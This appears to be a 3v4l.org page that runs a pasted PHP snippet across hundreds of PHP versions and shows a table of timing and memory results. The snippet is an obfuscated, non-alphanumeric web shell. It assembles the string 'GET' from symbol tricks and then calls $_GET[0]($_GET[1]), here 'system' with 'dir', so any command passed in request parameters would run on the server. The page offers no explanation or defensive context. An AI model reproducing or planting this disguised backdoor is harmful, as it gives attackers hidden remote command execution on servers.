3v4l.org

run code in 300+ PHP versions simultaneously
<?php //TNG $_GET['0']='system'; $_GET['1']='dir'; @$_[]=@!+_; $__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[((++$__)+($__++ ))].=$_; $_[]=++$__; $_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__]; $_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] ); $_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] ); $_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ]; $_=$ $_[$__+ $__] ;$_[@-_]($_[@!+_] );

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0100.01318.68
8.3.50.0150.00321.21
8.3.40.0090.00618.91
8.3.30.0100.00720.34
8.3.20.0080.00020.16
8.3.10.0050.00322.02
8.3.00.0080.00022.50
8.2.180.0130.01016.75
8.2.170.0090.00622.96
8.2.160.0110.00320.57
8.2.150.0080.00024.18
8.2.140.0060.00324.66
8.2.130.0050.00226.16
8.2.120.0080.00019.65
8.2.110.0000.00919.45
8.2.100.0000.01118.03
8.2.90.0040.00419.39
8.2.80.0050.00317.97
8.2.70.0000.00817.75
8.2.60.0000.00818.05
8.2.50.0040.00418.07
8.2.40.0080.00018.16
8.2.30.0040.00418.19
8.2.20.0000.00817.68
8.2.10.0040.00417.83
8.2.00.0040.00417.70
8.1.280.0080.00825.92
8.1.270.0120.00324.66
8.1.260.0080.00026.35
8.1.250.0040.00428.09
8.1.240.0060.00322.14
8.1.230.0060.00619.03
8.1.220.0030.00517.74
8.1.210.0040.00418.77
8.1.200.0070.00317.36
8.1.190.0020.00517.23
8.1.180.0040.00420.27
8.1.170.0000.00818.41
8.1.160.0040.00422.13
8.1.150.0070.00018.59
8.1.140.0050.00217.38
8.1.130.0060.00317.72
8.1.120.0000.00717.41
8.1.110.0000.00917.36
8.1.100.0000.00717.40
8.1.90.0030.00317.38
8.1.80.0070.00017.41
8.1.70.0030.00517.40
8.1.60.0060.00317.48
8.1.50.0000.00817.52
8.1.40.0040.00417.38
8.1.30.0040.00417.48
8.1.20.0040.00417.57
8.1.10.0040.00417.53
8.1.00.0060.00317.53
8.0.300.0040.00420.09
8.0.290.0030.00616.75
8.0.280.0070.00018.52
8.0.270.0030.00317.18
8.0.260.0030.00516.90
8.0.250.0000.00717.03
8.0.240.0080.00016.98
8.0.230.0040.00316.92
8.0.220.0000.00716.96
8.0.210.0000.00716.88
8.0.200.0000.00616.99
8.0.190.0000.00717.03
8.0.180.0000.00817.05
8.0.170.0040.00416.96
8.0.160.0040.00417.02
8.0.150.0040.00416.88
8.0.140.0040.00416.93
8.0.130.0030.00313.41
8.0.120.0040.00416.89
8.0.110.0070.00016.98
8.0.100.0000.00716.84
8.0.90.0000.00816.95
8.0.80.0120.00316.95
8.0.70.0000.00816.77
8.0.60.0000.00716.95
8.0.50.0040.00416.86
8.0.30.0150.00417.14
8.0.20.0110.00917.40
8.0.10.0000.00716.95
8.0.00.0060.01216.59
7.4.330.0020.00215.05
7.4.320.0060.00016.63
7.4.300.0000.00616.52
7.4.290.0060.00016.54
7.4.280.0040.00416.51
7.4.270.0030.00316.64
7.4.260.0000.00716.45
7.4.250.0000.00716.39
7.4.240.0020.00616.56
7.4.230.0000.00716.73
7.4.220.0060.01016.66
7.4.210.0090.00716.60
7.4.200.0070.00016.71
7.4.190.0030.00316.75
7.4.160.0090.00616.41
7.4.150.0070.01117.40
7.4.140.0110.00617.86
7.4.130.0110.00816.64
7.4.120.0090.00916.58
7.4.110.0070.01016.45
7.4.100.0100.00716.39
7.4.90.0100.00716.54
7.4.80.0130.01019.39
7.4.70.0110.00716.43
7.4.60.0070.01116.63
7.4.50.0030.00516.50
7.4.40.0040.01122.77
7.4.30.0130.00716.54
7.4.00.0040.00814.98
7.3.330.0000.00613.16
7.3.320.0000.00613.33
7.3.310.0030.00316.27
7.3.300.0030.00316.45
7.3.290.0110.00416.36
7.3.280.0060.01016.36
7.3.270.0080.00817.40
7.3.260.0130.00616.32
7.3.250.0150.00516.54
7.3.240.0120.00916.64
7.3.230.0110.00716.61
7.3.210.0110.00616.55
7.3.200.0110.01119.39
7.3.190.0090.00916.51
7.3.180.0090.00916.55
7.3.170.0080.01216.38
7.3.160.0060.01616.57
7.3.120.0030.01014.94
7.2.330.0080.00816.63
7.2.320.0080.01116.36
7.2.310.0110.01116.78
7.2.300.0060.01016.58
7.2.290.0100.00716.46
7.2.60.0070.00716.79
7.2.00.0000.01519.45
7.1.200.0030.00515.55
7.1.70.0030.00717.27
7.1.60.0090.00317.27
7.1.50.0060.01216.96
7.1.00.0030.03322.44
7.0.200.0060.00916.66
7.0.140.0070.07022.01
7.0.60.0000.05020.02
7.0.50.0030.07717.89
7.0.40.0100.06020.07
7.0.30.0230.05720.19
7.0.20.0330.04720.23
7.0.10.0230.07720.18
7.0.00.0130.05020.16
5.6.280.0070.07320.93
5.6.210.0070.05320.75
5.6.200.0030.06018.17
5.6.190.0170.07320.47
5.6.180.0230.05020.45
5.6.170.0230.04720.52
5.6.160.0030.08720.39
5.6.150.0070.06318.23
5.6.140.0070.06018.25
5.6.130.0000.04318.23
5.6.120.0170.04021.00
5.6.110.0100.03321.15
5.6.100.0030.04321.15
5.6.90.0130.08321.04
5.6.80.0070.08020.38
5.6.70.0200.07020.39
5.5.350.0100.04020.48
5.5.340.0130.05718.04
5.5.330.0030.07320.21
5.5.320.0200.08320.21
5.5.310.0300.06720.26
5.5.300.0100.08017.94
5.5.290.0070.05017.87
5.5.280.0300.03320.82
5.5.270.0030.05320.69
5.5.260.0070.07020.88
5.5.250.0070.03720.68
5.5.240.0070.07320.30
5.4.450.0400.05019.64
5.4.440.0400.07319.63
5.4.430.0270.05319.46
5.4.420.0270.06319.54
5.4.410.0300.05019.34
5.4.400.0330.05718.57
5.4.390.0300.07318.76
5.4.380.0200.06018.62
5.4.370.0100.07318.63
5.4.360.0130.05318.57
5.4.350.0050.03912.02
5.4.340.0060.04212.01
5.4.320.0030.03912.49
5.4.310.0050.04612.50
5.4.300.0050.03612.50
5.4.290.0080.03612.49
5.4.280.0080.03512.39
5.4.270.0050.03712.39
5.4.260.0050.03712.39
5.4.250.0130.06718.88
5.4.240.0170.07018.91
5.4.230.0070.07718.74
5.4.220.0070.06718.71
5.4.210.0100.06318.89
5.4.200.0100.07318.90
5.4.190.0130.04718.80
5.4.180.0170.04318.77
5.4.170.0170.04318.89
5.4.160.0100.05318.93
5.4.150.0170.05318.92
5.4.140.0030.07316.33
5.4.130.0030.05016.34
5.4.120.0070.05016.50
5.4.110.0030.05716.41
5.4.100.0100.05016.29
5.4.90.0130.04016.40
5.4.80.0000.05316.29
5.4.70.0100.04716.48
5.4.60.0100.04716.47
5.4.50.0100.06716.38
5.4.40.0170.05016.52
5.4.30.0170.04316.28
5.4.20.0130.06316.46
5.4.10.0070.05316.28
5.4.00.0000.05715.97
5.3.290.0060.05012.80
5.3.280.0100.07014.63
5.3.270.0100.05014.61
5.3.260.0070.05314.46
5.3.250.0100.05714.45
5.3.240.0100.04714.51
5.3.230.0030.05314.45
5.3.220.0100.04714.36
5.3.210.0070.05014.29
5.3.200.0130.06314.45
5.3.190.0170.05314.60
5.3.180.0000.05314.60
5.3.170.0070.04714.59
5.3.160.0100.07014.35
5.3.150.0030.07014.42
5.3.140.0130.05714.57
5.3.130.0100.05714.61
5.3.120.0230.06314.58
5.3.110.0100.05314.54
5.3.100.0130.04314.05
5.3.90.0200.06014.04
5.3.80.0070.05013.93
5.3.70.0200.05713.91
5.3.60.0070.05013.96
5.3.50.0100.04713.74
5.3.40.0100.04714.06
5.3.30.0030.05713.95
5.3.20.0100.05313.71
5.3.10.0070.05313.68
5.3.00.0000.06013.51
5.2.170.0030.04011.17
5.2.160.0070.05011.26
5.2.150.0030.05011.00
5.2.140.0070.04011.05
5.2.130.0030.04311.02
5.2.120.0030.04011.13
5.2.110.0100.03311.05
5.2.100.0100.04011.21
5.2.90.0100.05711.13
5.2.80.0030.05011.03
5.2.70.0100.05011.04
5.2.60.0130.03710.92
5.2.50.0030.05311.03
5.2.40.0000.05011.01
5.2.30.0070.05311.02
5.2.20.0070.04010.86
5.2.10.0000.04310.96
5.2.00.0100.05310.56
5.1.60.0100.04010.07
5.1.50.0000.03710.25
5.1.40.0030.03710.08
5.1.30.0030.03710.42
5.1.20.0000.04010.37
5.1.10.0030.03710.04
5.1.00.0000.04010.09
5.0.50.0030.0408.67
5.0.40.0000.0308.63
5.0.30.0070.0538.24
5.0.20.0030.0378.45
5.0.10.0070.0378.25
5.0.00.0000.0478.25
4.4.90.0000.0237.39
4.4.80.0000.0237.39
4.4.70.0030.0207.39
4.4.60.0000.0237.39
4.4.50.0030.0207.39
4.4.40.0000.0337.39
4.4.30.0000.0237.39
4.4.20.0030.0207.39
4.4.10.0030.0207.39
4.4.00.0000.0337.39
4.3.110.0000.0237.39
4.3.100.0030.0207.39
4.3.90.0000.0207.39
4.3.80.0070.0307.39
4.3.70.0030.0207.39
4.3.60.0030.0307.39
4.3.50.0030.0307.39
4.3.40.0070.0277.39
4.3.30.0000.0237.39
4.3.20.0000.0337.39
4.3.10.0030.0237.39
4.3.00.0000.0275.73

preferences:
45.43 ms | 401 KiB | 5 Q